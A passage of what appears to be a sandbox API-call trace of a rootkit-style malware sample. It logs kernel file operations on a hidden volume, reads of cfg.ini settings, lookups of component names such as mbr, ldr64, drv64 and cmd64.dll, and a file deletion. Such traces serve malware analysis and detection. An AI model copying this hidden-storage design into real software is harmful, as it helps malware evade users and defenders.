| out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.034] IdePortDispatch () returned 0x103 [0118.034] KeWaitForMutexObject () returned 0x0 [0118.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.039] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.039] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.039] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.039] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.039] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8620 [0118.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.039] KeLeaveCriticalRegion () [0118.039] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.039] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.040] KeEnterCriticalRegion () [0118.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.040] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.040] KeLeaveCriticalRegion () [0118.040] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.040] KeEnterCriticalRegion () [0118.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.040] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.040] IdePortDispatch () returned 0x103 [0118.040] KeWaitForMutexObject () returned 0x0 [0118.040] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.040] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.040] KeLeaveCriticalRegion () [0118.040] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.040] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.040] KeEnterCriticalRegion () [0118.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf9000 [0118.040] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.040] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.040] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.040] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.040] IdePortDispatch () returned 0x103 [0118.041] KeWaitForMutexObject () returned 0x0 [0118.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.041] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.041] IdePortDispatch () returned 0x103 [0118.041] KeWaitForMutexObject () returned 0x0 [0118.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.041] KeLeaveCriticalRegion () [0118.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.042] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.042] KeEnterCriticalRegion () [0118.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] KeLeaveCriticalRegion () [0118.042] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.042] KeEnterCriticalRegion () [0118.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.042] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] KeLeaveCriticalRegion () [0118.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.042] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.042] KeEnterCriticalRegion () [0118.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] ExFreePoolWithTag (P=0xfffffa8003af8620, Tag=0x0) [0118.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.042] KeLeaveCriticalRegion () [0118.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.043] ReleaseMutex (hMutex=0xf0) returned 1 [0118.043] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.050] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.050] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.051] KeEnterCriticalRegion () [0118.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.051] IdePortDispatch () returned 0x103 [0118.051] KeWaitForMutexObject () returned 0x0 [0118.051] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.051] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.051] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.051] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.051] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.051] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6060 [0118.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.051] KeLeaveCriticalRegion () [0118.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.051] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.051] KeEnterCriticalRegion () [0118.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.051] KeLeaveCriticalRegion () [0118.051] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.051] KeEnterCriticalRegion () [0118.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.052] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.052] IdePortDispatch () returned 0x103 [0118.052] KeWaitForMutexObject () returned 0x0 [0118.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.053] KeLeaveCriticalRegion () [0118.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.053] KeEnterCriticalRegion () [0118.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfc000 [0118.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.053] IdePortDispatch () returned 0x103 [0118.053] KeWaitForMutexObject () returned 0x0 [0118.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.053] IdePortDispatch () returned 0x103 [0118.054] KeWaitForMutexObject () returned 0x0 [0118.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.054] KeLeaveCriticalRegion () [0118.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.054] KeEnterCriticalRegion () [0118.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.054] KeLeaveCriticalRegion () [0118.055] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.055] KeEnterCriticalRegion () [0118.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.055] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d17d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.055] KeLeaveCriticalRegion () [0118.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.055] KeEnterCriticalRegion () [0118.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.055] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.055] KeLeaveCriticalRegion () [0118.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.055] ReleaseMutex (hMutex=0xf0) returned 1 [0118.055] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.055] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.055] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.055] KeEnterCriticalRegion () [0118.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.055] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.055] IdePortDispatch () returned 0x103 [0118.056] KeWaitForMutexObject () returned 0x0 [0118.056] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.056] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.056] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.056] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.056] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.056] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.056] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.056] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.056] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.056] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.056] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.056] KeLeaveCriticalRegion () [0118.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.056] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.056] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.056] KeEnterCriticalRegion () [0118.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.056] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.056] IdePortDispatch () returned 0x103 [0118.057] KeWaitForMutexObject () returned 0x0 [0118.057] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.057] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.057] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.057] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.057] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.057] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.057] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.057] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.057] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.057] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.057] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.057] KeLeaveCriticalRegion () [0118.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.057] ReleaseMutex (hMutex=0x100) returned 1 [0118.057] Sleep (dwMilliseconds=0x2bf20) [0118.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6990bdd0, dwHighDateTime=0x1d24fa4)) [0118.065] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.065] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.065] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.065] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.065] KeEnterCriticalRegion () [0118.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.066] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.066] IdePortDispatch () returned 0x103 [0118.066] KeWaitForMutexObject () returned 0x0 [0118.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.066] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.066] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.066] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.066] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.066] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003af8480 [0118.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.066] KeLeaveCriticalRegion () [0118.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.066] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.066] KeEnterCriticalRegion () [0118.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.066] KeLeaveCriticalRegion () [0118.066] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.066] KeEnterCriticalRegion () [0118.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.066] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.066] IdePortDispatch () returned 0x103 [0118.067] KeWaitForMutexObject () returned 0x0 [0118.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.067] KeLeaveCriticalRegion () [0118.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.067] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.067] KeEnterCriticalRegion () [0118.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.067] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bff000 [0118.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.067] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.067] IdePortDispatch () returned 0x103 [0118.067] KeWaitForMutexObject () returned 0x0 [0118.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.068] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) 